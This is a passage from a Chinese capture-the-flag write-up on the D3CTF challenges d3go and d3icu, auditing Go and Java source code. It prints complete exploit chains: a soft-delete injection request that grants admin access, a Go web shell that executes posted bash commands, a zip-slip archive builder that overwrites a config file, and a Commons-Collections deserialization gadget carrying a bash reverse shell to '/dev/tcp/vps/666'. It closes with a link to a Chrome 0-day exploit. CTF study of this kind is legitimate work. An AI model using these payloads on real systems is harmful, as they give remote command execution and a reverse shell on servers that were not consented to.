StatusCode: -1,
StatusMsg: "login fail",
})
case auth.User:
session.Set("admin", false)
session.Save()
c.JSON(200, Resp{
StatusCode: 0,
StatusMsg: "login success",
})
case auth.Admin:
session.Set("admin", true)
session.Save()
c.JSON(200, Resp{
StatusCode: 0,
StatusMsg: "login as admin success",
})
}
}

func Register(c *gin.Context) {
var u model.User
err := c.ShouldBindJSON(&u)
if err != nil {
c.JSON(200, Resp{
StatusCode: -1,
StatusMsg: ErrFormatError,
})
return
}
err = auth.Register(&u)
if err != nil {
c.JSON(200, Resp{
StatusCode: -1,
StatusMsg: ErrInternalServer,
})
return
}
c.JSON(200, Resp{
StatusCode: 0,
StatusMsg: "register success",
})
}

func Upload(c *gin.Context) {
f, err := c.FormFile("file")
if err != nil {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "upload fail",
})
return
}

if (f.Header.Get("Content-Type") != "application/zip" && f.Header.Get("Content-Type") != "application/x-zip-compressed") || path.Ext(f.Filename) != ".zip" {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "not a zip file",
})
return
}

uu := uuid.New()

zipPath := path.Join("upload", uu.String()+".zip")
if err := c.SaveUploadedFile(f, zipPath); err != nil {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "save zip fail",
})
return
}

tree, err := upload.Unzip(zipPath, path.Join("unzipped", uu.String()))
if err != nil {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "upload fail",
})
return
}

c.JSON(200, Resp{
StatusCode: 0,
StatusMsg: "upload success",
Data: tree.Children,
})
}

db.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package db

import (
"d3go/config"
"d3go/model"
"encoding/hex"
"errors"
log "github.com/sirupsen/logrus"
"math/rand"
"time"

"gorm.io/driver/mysql"
"gorm.io/gorm"
)

var ErrDatabase = errors.New("database error")

var db *gorm.DB

func Init() {
if err := tryOpen(); err != nil {
log.Fatalln(err)
}
err := db.AutoMigrate(&model.User{})
if err != nil {
log.Fatalln(err)
}

// create admin
rand.Seed(time.Now().UnixMicro())
var rad [32]byte
rand.Read(rad[:])
if ok, _ := IsFirstRegistered(); ok {
db.Save(&model.User{
Username: "admin",
Password: hex.EncodeToString(rad[:]),
})
}
}

func tryOpen() error {
var err error
var database *gorm.DB
for i := 0; i < 100; i++ {
database, err = gorm.Open(mysql.Open(config.Conf.DBUser+":"+config.Conf.DBPasswd+"@tcp("+config.Conf.DBHost+":"+config.Conf.DBPort+")/db?parseTime=True"), &gorm.Config{})
if err != nil {
time.Sleep(time.Second * 3)
continue
}
db = database
return nil
}
return err
}

func IsAdmin(u *model.User) bool {
var admin model.User
if err := db.First(&admin).Error; err != nil {
log.Error(err)
}
return u.Username == admin.Username
}

func AddUser(u *model.User) error {
if err := db.Save(u).Error; err != nil {
log.WithField("user", u).Error(err)
return ErrDatabase
}
return nil
}

func CheckAuth(u *model.User) (bool, error) {
if err := db.Where("username = ? AND password = ?", u.Username, u.Password).First(&u).Error; err != nil {
if errors.Is(err, gorm.ErrRecordNotFound) {
return false, nil
}
log.WithField("user", u).Error(err)
return false, ErrDatabase
}
return true, nil
}

func IsFirstRegistered() (bool, error) {
if err := db.First(&model.User{}).Error; err != nil {
if errors.Is(err, gorm.ErrRecordNotFound) {
return true, nil
}
log.WithField("user", model.User{}).Error(err)
return false, ErrDatabase
}
return false, nil
}

auth.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package auth

import (
"d3go/config"
"d3go/db"
"d3go/model"
)

const (
UnAuthed int = iota - 1
User
Admin
)

func Login(u *model.User) (int, error) {
ok, err := db.CheckAuth(u)
if !ok || err != nil {
return UnAuthed, err
}
if config.Conf.NoAdminLogin && u.ID == 1 {
return UnAuthed, nil
}
if db.IsAdmin(u) {
return Admin, nil
}
return User, nil
}

func Register(u *model.User) error {
return db.AddUser(u)
}

user.go

1
2
3
4
5
6
7
8
9
10
11
package model

import (
"gorm.io/gorm"
)

type User struct {
gorm.Model
Username string `gorm:"type:varchar(20);not null;unique" json:"username"`
Password string `gorm:"type:varchar(100);not null" json:"password"`
}

分析

main.go中没有对../处理,导致了目录穿越

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func ServeFile(c *gin.Context) { //c 请求信息.URL,参数,头部
// unzipped file server
p := c.Param("filepath")
if strings.HasPrefix(p, "/unzipped") {
if len(p) == 9 { //如果以/unzipped开头,
p = "/"
} else {
p = p[9:]
}
c.FileFromFS(p, http.Dir("./unzipped")) //开启/unzipped目录接口读取其中的p文件
return
}
// embed static file server
p = "/static/" + c.Param("filepath") //如果没有以/unzipped开头,当作静态文件读取
c.FileFromFS(p, http.FS(Static))
return
}

controller.go中提到了model.User{}结构体

1
2
3
4
5
6
7
8
9
10
func Login(c *gin.Context) {
u := &model.User{}
err := c.ShouldBindJSON(u)
if err != nil {
c.JSON(200, Resp{
StatusCode: -1,
StatusMsg: ErrFormatError,
})
return
}

user.go中声明一个struct

1
2
3
4
5
6
7
8
9
10
11
package model

import (
"gorm.io/gorm"
)

type User struct {
gorm.Model //实现通用字段模型
Username string `gorm:"type:varchar(20);not null;unique" json:"username"` //设置标签:varchar类型长度20,非空,唯一
Password string `gorm:"type:varchar(100);not null" json:"password"`
} //便于作为参数传递给GORM相关方法进行操作

看到gorm.Model中存在DeleteAt字段,也就是说在我们删除某一数据时会自动把DeleteAt字段的值设置为当前时间戳而非直接删除字段,可以进行软删除注入

image-20230509150950537

由于只有admin才可以进行文件上传,发现在db.go中配置以第一个用户记录作为admin

1
2
3
4
5
6
7
func IsAdmin(u *model.User) bool {
var admin model.User
if err := db.First(&admin).Error; err != nil { //查询第一个用户记录并将其放入admin内存地址
log.Error(err)
}
return u.Username == admin.Username
}

由于register没有对传入的数据进行处理,直接通过err := c.ShouldBindJSON(&u)把请求数据解析给了结构体u,db.go中的AddUser函数直接进行写入操作db.Save(u)导致软删除注入

1
2
3
4
5
6
7
func AddUser(u *model.User) error {
if err := db.Save(u).Error; err != nil {
log.WithField("user", u).Error(err)
return ErrDatabase
}
return nil
}

两个dat字段都要设置

1
{"id":1,"deletedat":"2011-01-01T11:11:11Z","createdat":"2011-01-01T11:11:11Z"}
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /register HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 37
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/

{"id":1,"deletedat":"2011-01-01T11:11:11Z","createdat":"2011-01-01T11:11:11Z"}

之后正常注册一个test用户登录即为admin权限

审计config.gomain.go可以得知实现了热更新,可以实现覆盖config.yaml实现自更新

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
func main() {
config.Init()
db.Init()
if config.Conf.AutoUpdate {
log.Printf("Auto update enabled")
err := overseer.RunErr(overseer.Config{
Program: prog,
Address: ":8080",
Fetcher: &config.Fetch,
})
if err != nil {
log.Fatalln(err)
}
} else {
r := gin.Default()
InitRouter(r)
if err := r.Run(":8080"); err != nil {
log.Fatal(err)
}
}

需要让url指向一个编译过后的go二进制文件进行监测实现热更新

发现有一个d3go的二进制文件,可以利用这个进行热更新image-20230507221444259

d3go恶意文件,编译为二进制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import (
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
"log"
"os/exec"
)

func main() {
overseer.Run(overseer.Config{
Program: prog,
Address: ":8080",
})
}

func prog(state overseer.State) {
r := gin.Default()
r.POST("/shell", func(c *gin.Context) {
output, err := exec.Command("/bin/bash", "-c", c.PostForm("cmd")).CombinedOutput()
if err != nil {
c.String(500, err.Error())
}
c.String(200, string(output))
})
if err := r.RunListener(state.Listener); err != nil {
log.Fatal(err)
}
}

覆盖config.yaml配置热更新

1
2
3
4
5
6
7
8
9
10
11
server:
noAdminLogin: true
database:
user: root
password: root
host: 127.0.0.1
port: 3306
update:
enabled: true
url: http://127.0.0.1:8080/unzipped/shell
interval: 1

之后利用controller.gozipslip漏洞去覆盖文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
func Upload(c *gin.Context) {
f, err := c.FormFile("file")
if err != nil {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "upload fail",
})
return
}

if (f.Header.Get("Content-Type") != "application/zip" && f.Header.Get("Content-Type") != "application/x-zip-compressed") || path.Ext(f.Filename) != ".zip" {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "not a zip file",
})
return
}

uu := uuid.New()

zipPath := path.Join("upload", uu.String()+".zip")
if err := c.SaveUploadedFile(f, zipPath); err != nil {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "save zip fail",
})
return
}

tree, err := upload.Unzip(zipPath, path.Join("unzipped", uu.String())) //解压zip到一个拼接有uuid的文件路径,没有进行处理存在zipslip漏洞
if err != nil {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "upload fail",
})
return
}

c.JSON(200, Resp{
StatusCode: 0,
StatusMsg: "upload success",
Data: tree.Children,
})
}

使用脚本生成zip

1
2
3
4
5
6
7
8
9
10
11
import zipfile

if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("exp.zip", "a", zipfile.ZIP_DEFLATED) #生成的zip文件
info = zipfile.ZipInfo("exp.zip")
zipFile.write("D:\\Floes\\ctf\\ceshi\\shell\\config.yaml", "../../config.yaml", zipfile.ZIP_DEFLATED) #压缩的文件和在zip中显示的文件名
zipFile.write("./shell", "../shell", zipfile.ZIP_DEFLATED) #压缩文件./shell到zip中的../shell
zipFile.close()
except IOError as e:
raise e

上传到服务器访问shell路径

1
2
3
4
http://139.196.153.122:31824/shell

post:
cmd=env

d3icu

源码审计

bot.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const puppeteer = require("puppeteer")
const express = require("express")


const app = express()

app.get("/screenshot", (req, res) => {
(async function () {

try {
const browser = await puppeteer.launch({
headless: true,
timeout: 60000,
args: ['--no-sandbox']
})
const page = await browser.newPage()
await page.setViewport({ width: 1920, height: 1080 })
await page.goto('http://127.0.0.1/demo/inedx.jsp', { waitUntil: 'networkidle0' })
const buffer = await page.screenshot({
encoding: "binary",
type: "png"
})
res.set("Content-Type", "image/png")
res.send(buffer)
} catch(err) {
res.status(500).send(err.toString())
}
})()
})

app.listen(8090)

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package main

import (
"fmt"
"hash/crc32"
"io"
"io/fs"
"net/http"
"os"
"time"

"github.com/flamego/flamego"
"github.com/go-redis/redis/v8"
"org.d3ctf.app/static"
)

func crc32Hash(str string) string {
return fmt.Sprint(crc32.ChecksumIEEE([]byte(str))) //返回字节数组的CRC32
}

func main() {

f := flamego.Classic() //flamego框架实例
f.Map( //配置实例中间件
Cache{
client: redis.NewClient(&redis.Options{ //NewClient生成redis客户端
Addr: os.ExpandEnv("127.0.0.1:6379"),//配置redis选项
}),
},
)
staticFS, _ := fs.Sub(static.FS, "dist") //从static.FS中获取dist子文件系统
f.Use(flamego.Static(flamego.StaticOptions{//创建静态文件中间件并进行静态文件系统配置,用f.use添加到实例f中
FileSystem: http.FS(staticFS),
}))
f.Get("/fetch", func(ctx flamego.Context, cache Cache, r *http.Request, rw http.ResponseWriter) { //ctx上下文对象
url := ctx.Query("url")
cacheKey := crc32Hash(url)
fmt.Println(cacheKey) //插入一个输出
if buf, err := cache.Get(r.Context(), cacheKey); err == nil {//从缓存获取cacheKey值并写入响应
ctx.ResponseWriter().Write(buf)
return
}
resp, _ := http.Get(url)
buf, _ := io.ReadAll(resp.Body)
cache.Set(r.Context(), cacheKey, buf, time.Minute*10)//URL的CRC值作为键名,请求返回数据作为键值,有效时间10min
rw.Write(buf)
})
f.Run()
}

cache.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package main

import (
"context"
"github.com/go-redis/redis/v8"
"time"
)

type Cache struct {
client *redis.Client
}

func (c Cache) Set(ctx context.Context, key string, value []byte, expire time.Duration) error {
return c.client.Set(ctx, key, value, expire).Err()//上下文对象,键名,键值,有效时间
}

func (c Cache) Get(ctx context.Context, key string) ([]byte, error) {
return c.client.Get(ctx, key).Bytes()
}

Tomcat服务中有个

image-20230515215637466

tomcat-cluster-redis-session-manager会从redis去除键名为JSESSION的值,然后反序列化它,对应tomcat.request.session.redis.SessionManager#findSession方法

tomcat.request.session.redis.SessionManager中的findSession方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public Session findSession(String sessionId) throws IOException {
if (sessionId != null && this.sessionContext.get() != null && sessionId.equals(((SessionContext)this.sessionContext.get()).getId())) {
return ((SessionContext)this.sessionContext.get()).getSession();
} else {
Session session = null;
boolean isPersisted = false;
SessionMetadata metadata = null;
byte[] data = this.dataCache.get(sessionId);
if (data == null) {
sessionId = null;
isPersisted = false;
} else {
if (Arrays.equals(SessionConstants.NULL_SESSION, data)) {
throw new IOException("NULL session data");
}

try {
metadata = new SessionMetadata();
Session newSession = this.createEmptySession();
this.serializer.deserializeSessionData(data, newSession, metadata);
//deserializeSessionData反序列化
newSession.setId(sessionId);
newSession.access();
newSession.setNew(false);
newSession.setValid(true);
newSession.resetDirtyTracking();
newSession.setMaxInactiveInterval(this.getSessionTimeout(newSession));
session = newSession;
isPersisted = true;
} catch (Exception var7) {
LOGGER.error("Error occurred while de-serializing the session object..", var7);
}
}

this.setValues(sessionId, session, isPersisted, metadata);
return session;
}
}

deserializeSessionData跟进

image-20230515224233898

在环境中给了cc依赖,可以在redis缓存中投入恶意字节码进行反序列化

解题分析

先让go去缓存一下我们的恶意文件,获取反序列化数据存入redis,我们本地起个环境获取CRC数据,然后把JSESSIONID改为CRC的值,那么我们在发包的时候就会进行反序列化触发RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.d3ctf.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class poc {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"/bin/bash","-c","bash -i >& /dev/tcp/vps/666 0>&1"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map outerMap= LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"keykey");//直接用新HashMap

Map objMap = new HashMap();
objMap.put(tiedMapEntry,"valuevalue");

Field field = tiedMapEntry.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry,outerMap);//替换成存有恶意poc的HashMap

ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(objMap);
String res=encryptToBase64("ser.bin");
System.out.println(res);
}
public static String encryptToBase64(String filePath) {
if (filePath == null) {
return null;
}
try {
byte[] b = Files.readAllBytes(Paths.get(filePath));
return Base64.getEncoder().encodeToString(b);
} catch (IOException e) {
e.printStackTrace();
}

return null;
}
}

把ser.bin放到vps上,然后访问会输出一段CRC

image-20230516090459983

在index.jsp抓包,把JSEESIONID改为CRC

image-20230516091220795

getshell可以发现当前目录是解压了war包的并且实现了热部署,那么我们可以修改index.jsp然后pwn浏览器
https://github.com/77409/chrome-0day/blob/main/exploit.html